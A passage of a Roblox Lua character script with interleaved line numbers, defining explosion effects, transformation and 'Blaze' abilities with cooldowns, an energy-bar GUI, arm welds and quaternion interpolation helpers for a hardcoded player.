				local targ = head.Position - Part.Position
1375
				local mag = targ.magnitude
1376
				if mag <= magni and c.Name ~= Player.Name then 
1377
					Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
1378
				end
1379
			end
1380
		end
1381
	end
1382
end
1383
1384
function Explode(rad,par)
1385
	local expart = Instance.new("Part",script.Parent)
1386
	local expart2 = Instance.new("Part",script.Parent)
1387
	local partMesh = Instance.new("SpecialMesh",expart)
1388
	partMesh.MeshType = "Sphere"
1389
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1390
	partMesh2.MeshType = "Sphere"
1391
	local expld = Instance.new("Explosion", script.Parent)
1392
local plode = Instance.new("Sound",expart)
1393
  plode.SoundId = "rbxassetid://165970126"
1394
  plode.Volume = 1
1395
  plode.Pitch = 1
1396
  plode.Looped = false
1397
  plode:Play()
1398
	expld.BlastRadius = rad
1399
	expld.Position = par.Position
1400
	partMesh.Scale = vt(rad,rad,rad)
1401
	expart.Size = vt(1,1,1)*1.5
1402
	expart.Transparency = 0
1403
	expart.Anchored = true
1404
	expart.Material = "Neon"
1405
	expart.BrickColor = bc("White")
1406
	expart.CFrame = par.CFrame
1407
	partMesh2.Scale = vt(rad,rad,rad)
1408
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1409
	expart2.Transparency = 0.5
1410
	expart2.Anchored = true
1411
	expart2.Material = "Neon"
1412
	expart2.BrickColor = bc("New Yeller")
1413
	expart2.CFrame = par.CFrame
1414
        local value = 1*rad/6.5
1415
        par:Destroy()
1416
	for i = 0, 100 do
1417
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1418
		expart.CFrame = expart.CFrame
1419
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1420
		expart2.CFrame = expart.CFrame
1421
                value = value - 0.035*rad/6.5
1422
                if value < 1 then
1423
                value = 0.25
1424
		expart.Transparency = expart.Transparency + 0.025
1425
		expart2.Transparency = expart2.Transparency + 0.025
1426
                end
1427
		wait()
1428
	end
1429
  plode.Parent = nil
1430
	expart.Parent = nil
1431
	expart2.Parent = nil
1432
	expld.Parent = nil
1433
end
1434
1435
function ExplodeMass(rad,par)
1436
	local expart = Instance.new("Part",script.Parent)
1437
	local expart2 = Instance.new("Part",script.Parent)
1438
	local partMesh = Instance.new("SpecialMesh",expart)
1439
	partMesh.MeshType = "Sphere"
1440
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1441
	partMesh2.MeshType = "Sphere"
1442
	local expld = Instance.new("Explosion", script.Parent)
1443
local plode = Instance.new("Sound",workspace)
1444
  plode.SoundId = "rbxassetid://579687077"
1445
  plode.Volume = 1
1446
  plode.Pitch = 0.85
1447
  plode.Looped = false
1448
  plode:Play()
1449
local plodez = Instance.new("Sound",workspace)
1450
  plodez.SoundId = "rbxassetid://288641686"
1451
  plodez.Volume = 1
1452
  plodez.Pitch = 0.75
1453
  plodez.Looped = false
1454
  plodez:Play()
1455
local plodeza = Instance.new("Sound",workspace)
1456
  plodeza.SoundId = "rbxassetid://197161452"
1457
  plodeza.Volume = 0.85
1458
  plodeza.Pitch = 0.65
1459
  plodeza.Looped = false
1460
  plodeza:Play()
1461
local plodezar = Instance.new("Sound",workspace)
1462
  plodezar.SoundId = "rbxassetid://197161452"
1463
  plodezar.Volume = 0.85
1464
  plodezar.Pitch = 0.25
1465
  plodezar.Looped = false
1466
  plodezar:Play()
1467
	expld.BlastRadius = rad
1468
	expld.Position = par.Position
1469
wait(0.5)
1470
        par:Destroy()
1471
  plode.Parent = nil
1472
	expart.Parent = nil
1473
	expart2.Parent = nil
1474
	expld.Parent = nil
1475
end
1476
function ExplodeMassen(rad,par)
1477
	local expart = Instance.new("Part",script.Parent)
1478
	local expart2 = Instance.new("Part",script.Parent)
1479
	local partMesh = Instance.new("SpecialMesh",expart)
1480
	partMesh.MeshType = "Sphere"
1481
	local partMesh2 = Instance.new("SpecialMesh",expart2)
1482
	partMesh2.MeshType = "Sphere"
1483
	local expld = Instance.new("Explosion", script.Parent)
1484
local plode = Instance.new("Sound",workspace)
1485
  plode.SoundId = "rbxassetid://579687077"
1486
  plode.Volume = 1
1487
  plode.Pitch = 0.85
1488
  plode.Looped = false
1489
  plode:Play()
1490
local plodez = Instance.new("Sound",workspace)
1491
  plodez.SoundId = "rbxassetid://288641686"
1492
  plodez.Volume = 1
1493
  plodez.Pitch = 0.75
1494
  plodez.Looped = false
1495
  plodez:Play()
1496
local plodeza = Instance.new("Sound",workspace)
1497
  plodeza.SoundId = "rbxassetid://197161452"
1498
  plodeza.Volume = 0.85
1499
  plodeza.Pitch = 0.65
1500
  plodeza.Looped = false
1501
  plodeza:Play()
1502
local plodezar = Instance.new("Sound",workspace)
1503
  plodezar.SoundId = "rbxassetid://197161452"
1504
  plodezar.Volume = 0.85
1505
  plodezar.Pitch = 0.25
1506
  plodezar.Looped = false
1507
  plodezar:Play()
1508
	expld.BlastRadius = rad
1509
	expld.Position = par.Position
1510
	partMesh.Scale = vt(rad,rad,rad)
1511
	expart.Size = vt(1,1,1)*1.5
1512
	expart.Transparency = 0
1513
	expart.Anchored = true
1514
	expart.Material = "Neon"
1515
	expart.BrickColor = bc("White")
1516
	expart.CFrame = par.CFrame
1517
	partMesh2.Scale = vt(rad,rad,rad)
1518
	expart2.Size = vt(1.15,1.15,1.15)*1.5
1519
	expart2.Transparency = 0.5
1520
	expart2.Anchored = true
1521
	expart2.Material = "Neon"
1522
	expart2.BrickColor = tors.BrickColor
1523
	expart2.CFrame = par.CFrame
1524
        local value = 1*rad/10
1525
        par:Destroy()
1526
	for i = 0, 300 do
1527
                partMesh.Scale = partMesh.Scale + vt(value,value,value)
1528
		expart.CFrame = expart.CFrame
1529
                partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
1530
		expart2.CFrame = expart.CFrame
1531
                value = value - 0.0175*rad/10
1532
                if value <= 0 then
1533
		expart.Transparency = expart.Transparency + 0.0125
1534
		expart2.Transparency = expart2.Transparency + 0.0125
1535
                value = 0.25
1536
                end
1537
		wait()
1538
	end
1539
  plode.Parent = nil
1540
	expart.Parent = nil
1541
	expart2.Parent = nil
1542
	expld.Parent = nil
1543
end
1544
local Ultramode = false
1545
1546
function Transform()
1547
  if basiccooldown >= 5 then
1548
  hum.WalkSpeed = 0
1549
  local sparta = Instance.new("Part",workspace)
1550
local msher = Instance.new("SpecialMesh",sparta)
1551
msher.MeshType = "Sphere"
1552
msher.Scale = vt(1,1,1)
1553
wit = BrickColor.new("White").Color
1554
local glowz = Instance.new("ParticleEmitter")
1555
glowz.LightEmission = 1
1556
glowz.Parent = sparta
1557
glowz.Texture = "rbxassetid://284205403"
1558
glowz.Color = ColorSequence.new(wit)
1559
glowz.Size = NumberSequence.new(15)
1560
glowz.Speed = NumberRange.new(100,250)
1561
glowz.LockedToPart = false
1562
glowz.Transparency = NumberSequence.new(0.75)
1563
glowz.RotSpeed = NumberRange.new(-2000,2000)
1564
glowz.Lifetime = NumberRange.new(1)
1565
glowz.Rate = 50000
1566
glowz.VelocitySpread = 9001
1567
  local sa2 = Instance.new("Sound",sparta)
1568
  sa2.SoundId = "rbxassetid://93724183"
1569
  sa2.Pitch = 0.5
1570
  sa2.Volume = 5
1571
  sa2.Looped = false
1572
  sa2:Play()
1573
  local saz2 = Instance.new("Sound",sparta)
1574
  saz2.SoundId = "rbxassetid://199145659"
1575
  saz2.Pitch = 0.45
1576
  saz2.Volume = 5*2
1577
  saz2.Looped = false
1578
local plode = Instance.new("Sound",sparta)
1579
  plode.SoundId = "rbxassetid://153274423"
1580
  plode.Volume = 5
1581
  plode.Pitch = 1
1582
  plode.Looped = false
1583
local ploder = Instance.new("Sound",sparta)
1584
  ploder.SoundId = "rbxassetid://130972023"
1585
  ploder.Volume = 5
1586
  ploder.Pitch = 1
1587
  ploder.Looped = false
1588
  sparta.Size = vt(1,1,1)
1589
  sparta.BrickColor = BrickColor.new("White")
1590
  sparta.Material = "Neon"
1591
  sparta.Transparency = 0
1592
  sparta.Anchored = true
1593
  sparta.CanCollide = false
1594
  sparta.CFrame = tors.CFrame
1595
  sparta.Rotation = vt(0,0,0)
1596
  local value2 = 2
1597
  for i = 0, 24 do
1598
  value2 = value2 - 0.065
1599
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1600
  wait()
1601
  end
1602
  for i = 0, 10 do
1603
  value2 = value2 + 0.06575
1604
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1605
  wait()
1606
  end
1607
  for i = 0, 10 do
1608
  value2 = value2 - 0.2
1609
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1610
  wait()
1611
  end
1612
  for i = 0, 10 do
1613
  value2 = value2 + 0.275
1614
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1615
  wait()
1616
  end
1617
  for i = 0, 10 do
1618
  value2 = value2 - 0.4
1619
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1620
  wait()
1621
  end
1622
  for i = 0, 10 do
1623
  value2 = value2 + 0.475
1624
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1625
  wait()
1626
  end
1627
  for i = 0, 10 do
1628
  value2 = value2 - 0.6
1629
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1630
  wait()
1631
  end
1632
  for i = 0, 10 do
1633
  value2 = value2 + 0.675
1634
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1635
  wait()
1636
  end
1637
  for i = 0, 10 do
1638
  value2 = value2 - 0.7
1639
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1640
  wait()
1641
  end
1642
  for i = 0, 10 do
1643
  value2 = value2 + 0.775
1644
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1645
  wait()
1646
  end
1647
  saz2:Play()
1648
  wait(2.75)
1649
  plode:Play() 
1650
  ploder:Play()
1651
  Ultramode = true
1652
  for i = 0, 75 do
1653
  value2 = value2 - 0.0575
1654
  glowz.Rate = 0
1655
  sparta.Transparency = sparta.Transparency + 0.025
1656
  msher.Scale = msher.Scale + vt(value2,value2,value2)
1657
  wait()
1658
  end
1659
  hum.WalkSpeed = 16
1660
  sparta:Destroy()
1661
  end
1662
end
1663
1664
1665
function Blaze2()
1666
if ultcooldown >= 30 then
1667
local sloc = Instance.new("Part",workspace)
1668
local msh = Instance.new("SpecialMesh",sloc)
1669
msh.MeshType = "Sphere"
1670
sloc.Size = vt(1,1,1)
1671
sloc.Transparency = 1
1672
sloc.BrickColor = tors.BrickColor
1673
sloc.Position = hed.Position + vt(0,0.1,0)
1674
sloc.CanCollide = false
1675
sloc.Shape = "Ball"
1676
sloc.Anchored = true
1677
sloc.Material = "Neon"
1678
  local s = Instance.new("Sound",char)
1679
  s.SoundId = "rbxassetid://289315275"
1680
  s.Pitch = 1
1681
  s.Volume = 2.75
1682
  s.Looped = false
1683
  s:Play()
1684
  local s2 = Instance.new("Sound",char)
1685
  s2.SoundId = "rbxassetid://671759140"
1686
  s2.Pitch = 0.425
1687
  s2.Volume = 1
1688
  s2.Looped = false
1689
  s2:Play()
1690
local val = 0.65*5
1691
for i = 0 , 75 do
1692
sloc.Transparency = sloc.Transparency - 0.035
1693
msh.Scale = msh.Scale + vt(val,val,val)
1694
val = val - 0.0075*5
1695
wait()
1696
end
1697
wait(2)
1698
  local sen = Instance.new("Sound",char)
1699
  sen.SoundId = "rbxassetid://289315275"
1700
  sen.Pitch = 1
1701
  sen.Volume = 2.75
1702
  sen.Looped = false
1703
  sen:Play()
1704
  local tick = Instance.new("Sound",char)
1705
  tick.SoundId = "rbxassetid://446876721"
1706
  tick.Volume = 2.5
1707
  tick.Pitch = 0.5
1708
  tick:Play()
1709
msh.Scale = msh.Scale - vt(1,1,1)
1710
sloc.Transparency = sloc.Transparency + 0.015
1711
local spart = Instance.new("Part",workspace)
1712
local msh2 = Instance.new("SpecialMesh",spart)
1713
msh2.MeshType = "Sphere"
1714
spart.Size = vt(2,2,2)
1715
spart.Shape = "Ball"
1716
spart.BrickColor = tors.BrickColor
1717
spart.Material = "Neon"
1718
spart.Transparency = 0
1719
spart.Anchored = false
1720
msh2.Scale = msh.Scale/2
1721
spart.Rotation = hed.Rotation
1722
spart.CanCollide = false
1723
spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
1724
  local bv = Instance.new("BodyVelocity")
1725
  bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
1726
  bv.velocity = mouse.Hit.lookVector * 125
1727
  bv.Parent = spart
1728
sloc:Destroy()
1729
  wait(0.00001)
1730
  pewdiepie=spart.Touched:connect(function(hit)
1731
  ExplodeMassen(100,spart)
1732
  end)
1733
wait(5)
1734
sloc:Destroy()
1735
tick:Destroy()
1736
s:Destroy()
1737
sen:Destroy()
1738
s2:Destroy()
1739
end
1740
if ultcooldown < 1 then
1741
for i = 0, 29 do
1742
ultcooldown = ultcooldown + 1
1743
wait(1)
1744
end
1745
end
1746
end
1747
1748
function Blaze()
1749
if ultcooldown >= 30 then
1750
 local ff = Instance.new("ForceField",char)
1751
  local s = Instance.new("Sound",char)
1752
  s.SoundId = "rbxassetid://289315275"
1753
  s.Pitch = 1
1754
  s.Volume = 2.75
1755
  s.Looped = false
1756
  s:Play()
1757
  local s2 = Instance.new("Sound",char)
1758
  s2.SoundId = "rbxassetid://671759140"
1759
  s2.Pitch = 0.425
1760
  s2.Volume = 1
1761
  s2.Looped = false
1762
  s2:Play()
1763
  local spart = boll:Clone()
1764
  local spart2 = shur:Clone()
1765
  local msh = Instance.new("SpecialMesh",spart)
1766
  msh.MeshType = "Sphere"
1767
  spart.Parent = workspace
1768
  spart.Transparency = 1
1769
  spart.Anchored = true
1770
  spart.Position = tors.Position + vt(0,1,0)
1771
  spart.Size = spart.Size + vt(1,1,1)
1772
  for i = 0, 10 do
1773
  spart.BrickColor = tors.BrickColor
1774
  spart.Transparency = spart.Transparency + -0.05
1775
  spart.Position = tors.Position + vt(0,1,0)
1776
  spart.Size = spart.Size + vt(3,3,3)
1777
  wait(0)
1778
  end
1779
  for i = 0, 5 do
1780
  spart.BrickColor = tors.BrickColor
1781
  spart.Transparency = spart.Transparency + -0.05
1782
  spart.Position = tors.Position + vt(0,1,0)
1783
  spart.Size = spart.Size + vt(2.5,2.5,2.5)
1784
  wait(0)
1785
  end
1786
  for i = 0, 5 do
1787
  spart.BrickColor = tors.BrickColor
1788
  spart.Transparency = spart.Transparency + -0.05
1789
  spart.Position = tors.Position + vt(0,1,0)
1790
  spart.Size = spart.Size + vt(1,1,1)
1791
  wait(0)
1792
  end
1793
  for i = 0, 10 do
1794
  spart.BrickColor = tors.BrickColor
1795
  wait(0.1)
1796
  end
1797
  for i = 0, 20 do
1798
  spart.BrickColor = tors.BrickColor
1799
  spart.Transparency = spart.Transparency + 0.05
1800
  spart.Position = tors.Position + vt(0,1,0)
1801
  spart.Size = spart.Size + vt(-5,-5,-5)
1802
  wait(0)
1803
  end
1804
  local sp = spart:Clone()
1805
  sp.Parent = workspace
1806
  sp.Position = spart.Position
1807
  local sp2 = sp:Clone()
1808
  sp2.Parent = workspace
1809
  sp2.Transparency = 0.5
1810
  local msh2 = sp2.Mesh
1811
  msh2.Scale = vt(1250,1250,1250)
1812
wit = tors.BrickColor.Color
1813
local glowz = Instance.new("ParticleEmitter")
1814
glowz.LightEmission = 0.75
1815
glowz.Parent = sp2
1816
glowz.Texture = "rbxassetid://284205403"
1817
glowz.Color = ColorSequence.new(wit)
1818
glowz.Size = NumberSequence.new(50)
1819
glowz.Speed = NumberRange.new(425,450)
1820
glowz.LockedToPart = false
1821
glowz.Transparency = NumberSequence.new(0.75)
1822
glowz.RotSpeed = NumberRange.new(-2000,2000)
1823
glowz.Lifetime = NumberRange.new(1)
1824
glowz.Rate = 50000
1825
glowz.VelocitySpread = 9001
1826
  spart2.Parent = workspace
1827
  spart2.Mesh.Scale = vt(25, 90000, 25)
1828
  spart2.Position = tors.Position
1829
local seen = Instance.new("Sound",char)
1830
seen.SoundId = "rbxassetid://445796828"
1831
seen.Pitch = 0.75
1832
seen.Volume = 1.75
1833
seen.Looped = true
1834
seen:Play()
1835
local sen = Instance.new("Sound",char)
1836
sen.SoundId = "rbxassetid://289315275"
1837
sen.Pitch = 0.98
1838
sen.Volume = 2.65
1839
sen.Looped = false
1840
sen:Play()
1841
local tick = Instance.new("Sound",char)
1842
tick.SoundId = "rbxassetid://446876721"
1843
tick.Volume = 5
1844
tick.Pitch = 0.5
1845
tick:Play()
1846
local seena = Instance.new("Sound",char)
1847
seena.SoundId = "rbxassetid://300916057"
1848
seena.Pitch = 0.5
1849
seena.Volume = 2.5
1850
seena.Looped = false
1851
seena:Play()
1852
spart.Transparency = 0
1853
  ExplodeMass(1000,sp)
1854
  for i = 0, 450 do
1855
  spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
1856
  sp2.Position = spart.Position
1857
  spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
1858
  spart2.BrickColor = tors.BrickColor
1859
  msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
1860
  msh.Scale = msh.Scale + vt(50,50,50)
1861
  sp2.Transparency = sp2.Transparency + 0.0005
1862
  spart.Transparency = spart.Transparency + 0.0025
1863
  spart2.Transparency = spart2.Transparency + 0.0025
1864
  wait(0)
1865
  end
1866
  spart:Destroy()
1867
  seena:Destroy()
1868
  ff:Destroy()
1869
  seen:Destroy()
1870
  sen:Destroy()
1871
  tick:Destroy()
1872
  spart2:Destroy()
1873
  s:Destroy()
1874
  sp:Destroy()
1875
  sp2:Destroy()
1876
  s2:Destroy()
1877
end
1878
if ultcooldown < 1 then
1879
for i = 0, 29 do
1880
ultcooldown = ultcooldown + 1
1881
wait(1)
1882
end
1883
end
1884
end
1885
1886
-- sin
1887
Player=game:GetService("Players").ThatProGamerKilledU
1888
Character=Player.Character 
1889
PlayerGui=Player.PlayerGui 
1890
Backpack=Player.Backpack 
1891
Torso=Character.Torso 
1892
Head=Character.Head 
1893
Humanoid=Character.Humanoid
1894
m=Instance.new('Model',Character)
1895
LeftArm=Character["Left Arm"] 
1896
LeftLeg=Character["Left Leg"] 
1897
RightArm=Character["Right Arm"] 
1898
RightLeg=Character["Right Leg"] 
1899
LS=Torso["Left Shoulder"] 
1900
LH=Torso["Left Hip"] 
1901
RS=Torso["Right Shoulder"] 
1902
RH=Torso["Right Hip"] 
1903
Face = Head.face
1904
Neck=Torso.Neck
1905
it=Instance.new
1906
attacktype=1
1907
vt=Vector3.new
1908
cf=CFrame.new
1909
euler=CFrame.fromEulerAnglesXYZ
1910
angles=CFrame.Angles
1911
cloaked=false
1912
necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1913
necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
1914
LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
1915
LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
1916
RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
1917
RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
1918
RootPart=Character.HumanoidRootPart
1919
RootJoint=RootPart.RootJoint
1920
RootCF=euler(-1.57,0,3.14)
1921
attack = false 
1922
attackdebounce = false 
1923
deb=false
1924
equipped=true
1925
hand=false
1926
MMouse=nil
1927
combo=0
1928
mana=0
1929
trispeed=1
1930
pathtrans=.7
1931
attackmode='none'
1932
local idle=0
1933
local Anim="Idle"
1934
local Effects={}
1935
local gun=false
1936
local shoot=false
1937
player=nil 
1938
cloak=false
1939
lightcolor='Bright blue'
1940
1941
local Color1=BrickColor.new("White")
1942
 
1943
local fengui=it("GuiMain") 
1944
fengui.Parent=Player.PlayerGui 
1945
fengui.Name="WeaponGUI" 
1946
local fenframe=it("Frame") 
1947
fenframe.Parent=fengui
1948
fenframe.BackgroundColor3=Color3.new(255,255,255) 
1949
fenframe.BackgroundTransparency=1 
1950
fenframe.BorderColor3=Color3.new(17,17,17) 
1951
fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
1952
fenframe.Position=UDim2.new(0.4,0,0.1,0)
1953
local fenbarmana1=it("TextLabel") 
1954
fenbarmana1.Parent=fenframe 
1955
fenbarmana1.Text=" " 
1956
fenbarmana1.BackgroundTransparency=0 
1957
fenbarmana1.BackgroundColor3=Color3.new(0,0,0) 
1958
fenbarmana1.SizeConstraint="RelativeXY" 
1959
fenbarmana1.TextXAlignment="Center" 
1960
fenbarmana1.TextYAlignment="Center" 
1961
fenbarmana1.Position=UDim2.new(0,0,0,0)
1962
fenbarmana1.Size=UDim2.new(4,0,0.2,0)
1963
local fenbarmana2=it("TextLabel") 
1964
fenbarmana2.Parent=fenframe 
1965
fenbarmana2.Text=" " 
1966
fenbarmana2.BackgroundTransparency=0 
1967
fenbarmana2.BackgroundColor3=Torso.Color
1968
fenbarmana2.SizeConstraint="RelativeXY" 
1969
fenbarmana2.TextXAlignment="Center" 
1970
fenbarmana2.TextYAlignment="Center" 
1971
fenbarmana2.Position=UDim2.new(0,0,0,0)
1972
fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
1973
local fenbarmana3=it("TextLabel") 
1974
fenbarmana3.Parent=fenframe 
1975
fenbarmana3.Text=" " 
1976
fenbarmana3.BackgroundTransparency=0 
1977
fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
1978
fenbarmana3.SizeConstraint="RelativeXY" 
1979
fenbarmana3.TextXAlignment="Center" 
1980
fenbarmana3.TextYAlignment="Center" 
1981
fenbarmana3.Position=UDim2.new(0,0,0,0)
1982
fenbarmana3.Size=UDim2.new(0,0,0.2,0)
1983
local fenbarmana4=it("TextLabel") 
1984
fenbarmana4.Parent=fenframe 
1985
fenbarmana4.Text="Energy("..mana..")"
1986
fenbarmana4.BackgroundTransparency=1 
1987
fenbarmana4.BackgroundColor3=Color3.new(0,0,0) 
1988
fenbarmana4.SizeConstraint="RelativeXY" 
1989
fenbarmana4.TextXAlignment="Center" 
1990
fenbarmana4.TextYAlignment="Center" 
1991
fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
1992
fenbarmana4.Size=UDim2.new(4,0,0.2,0)
1993
fenbarmana4.FontSize="Size9"
1994
fenbarmana4.TextStrokeTransparency=0
1995
fenbarmana4.TextColor=BrickColor.new("White")
1996
1997
--save shoulders 
1998
RSH, LSH=nil, nil 
1999
--welds 
2000
RW, LW=Instance.new("Weld"), Instance.new("Weld") 
2001
RW.Name="Right Shoulder" LW.Name="Left Shoulder"
2002
LH=Torso["Left Hip"]
2003
RH=Torso["Right Hip"]
2004
TorsoColor=BrickColor.new("White")
2005
function NoOutline(Part)
2006
Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
2007
end
2008
player=Player 
2009
ch=Character
2010
RSH=ch.Torso["Right Shoulder"] 
2011
LSH=ch.Torso["Left Shoulder"] 
2012
-- 
2013
RSH.Parent=nil 
2014
LSH.Parent=nil 
2015
-- 
2016
RW.Name="Right Shoulder"
2017
RW.Part0=ch.Torso 
2018
RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5) 
2019
RW.C1=cf(0, 0.5, 0) 
2020
RW.Part1=ch["Right Arm"] 
2021
RW.Parent=ch.Torso 
2022
-- 
2023
LW.Name="Left Shoulder"
2024
LW.Part0=ch.Torso 
2025
LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8) 
2026
LW.C1=cf(0, 0.5, 0) 
2027
LW.Part1=ch["Left Arm"] 
2028
LW.Parent=ch.Torso 
2029
2030
2031
function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
2032
local fp=it("Part")
2033
fp.formFactor=formfactor 
2034
fp.Parent=parent
2035
fp.Reflectance=reflectance
2036
fp.Transparency=transparency
2037
fp.CanCollide=false 
2038
fp.Locked=true
2039
fp.BrickColor=brickcolor
2040
fp.Name=name
2041
fp.Size=size
2042
fp.Position=Torso.Position 
2043
NoOutline(fp)
2044
fp.Material="Neon"
2045
fp:BreakJoints()
2046
return fp 
2047
end 
2048
 
2049
function mesh(Mesh,part,meshtype,meshid,offset,scale)
2050
local mesh=it(Mesh) 
2051
mesh.Parent=part
2052
if Mesh=="SpecialMesh" then
2053
mesh.MeshType=meshtype
2054
if meshid~="nil" then
2055
mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
2056
end
2057
end
2058
mesh.Offset=offset
2059
mesh.Scale=scale
2060
return mesh
2061
end
2062
 
2063
function weld(parent,part0,part1,c0)
2064
local weld=it("Weld") 
2065
weld.Parent=parent
2066
weld.Part0=part0 
2067
weld.Part1=part1 
2068
weld.C0=c0
2069
return weld
2070
end
2071
 
2072
local Color1=BrickColor.new("White")
2073
2074
local bodvel=Instance.new("BodyVelocity")
2075
local bg=Instance.new("BodyGyro")
2076
2077
function swait(num)
2078
if num==0 or num==nil then
2079
game:service'RunService'.Stepped:wait(0)
2080
else
2081
for i=0,num do
2082
game:service'RunService'.Stepped:wait(0)
2083
end
2084
end
2085
end
2086
 
2087
 
2088
so = function(id,par,vol,pit) 
2089
coroutine.resume(coroutine.create(function()
2090
local sou = Instance.new("Sound",par or workspace)
2091
sou.Volume=vol
2092
sou.Pitch=pit or 1
2093
sou.SoundId=id
2094
swait() 
2095
sou:play() 
2096
game:GetService("Debris"):AddItem(sou,6)
2097
end))
2098
end
2099
 
2100
function clerp(a,b,t) 
2101
local qa = {QuaternionFromCFrame(a)}
2102
local qb = {QuaternionFromCFrame(b)} 
2103
local ax, ay, az = a.x, a.y, a.z 
2104
local bx, by, bz = b.x, b.y, b.z
2105
local _t = 1-t
2106
return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t)) 
2107
end 
2108
 
2109
function QuaternionFromCFrame(cf) 
2110
local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components() 
2111
local trace = m00 + m11 + m22 
2112
if trace > 0 then 
2113
local s = math.sqrt(1 + trace) 
2114
local recip = 0.5/s 
2115
return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5 
2116
else 
2117
local i = 0 
2118
if m11 > m00 then
2119
i = 1
2120
end
2121
if m22 > (i == 0 and m00 or m11) then 
2122
i = 2 
2123
end 
2124
if i == 0 then 
2125
local s = math.sqrt(m00-m11-m22+1) 
2126
local recip = 0.5/s 
2127
return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip 
2128
elseif i == 1 then 
2129
local s = math.sqrt(m11-m22-m00+1) 
2130
local recip = 0.5/s 
2131
return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip 
2132
elseif i == 2 then 
2133
local s = math.sqrt(m22-m00-m11+1) 
2134
local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip 
2135
end 
2136
end 
2137
end
2138
 
2139
function QuaternionToCFrame(px, py, pz, x, y, z, w) 
2140
local xs, ys, zs = x + x, y + y, z + z 
2141
local wx, wy, wz = w*xs, w*ys, w*zs 
2142
local xx = x*xs 
2143
local xy = x*ys 
2144
local xz = x*zs 
2145
local yy = y*ys 
2146
local yz = y*zs 
2147
local zz = z*zs 
2148
return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy)) 
2149
end
2150
 
2151
function QuaternionSlerp(a, b, t) 
2152
local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4] 
2153
local startInterp, finishInterp; 
2154
if cosTheta >= 0.0001 then 
2155
if (1 - cosTheta) > 0.0001 then 
2156
local theta = math.acos(cosTheta) 
2157
local invSinTheta = 1/math.sin(theta) 
2158
startInterp = math.sin((1-t)*theta)*invSinTheta 
2159
finishInterp = math.sin(t*theta)*invSinTheta  
2160
else 
2161
startInterp = 1-t 
2162
finishInterp = t 
2163
end 
2164
else 
2165
if (1+cosTheta) > 0.0001 then 
2166
local theta = math.acos(-cosTheta) 
2167
local invSinTheta = 1/math.sin(theta) 
2168
startInterp = math.sin((t-1)*theta)*invSinTheta 
2169
finishInterp = math.sin(t*theta)*invSinTheta 
2170
else 
2171
startInterp = t-1 
2172
finishInterp = t 
2173
end 
2174
end 
2175
return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp 
2176
end
2177
2178
function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
2179
return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore) 
2180
end 
2181
2182
function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
2183
local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
2184
prt.Anchored=true
2185
prt.CFrame=cframe
2186
local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
2187
--http://www.roblox.com/asset/?id=4770560
2188
game:GetService("Debris"):AddItem(prt,2)
2189
CF=prt.CFrame
2190
coroutine.resume(coroutine.create(function(Part,Mesh,TehCF) 
2191
for i=0,1,0.2 do
2192
wait()
2193
Part.CFrame=CF*cf(0,0,-0.4)
2194
end
2195
for i=0,1,delay do
2196
wait()
2197
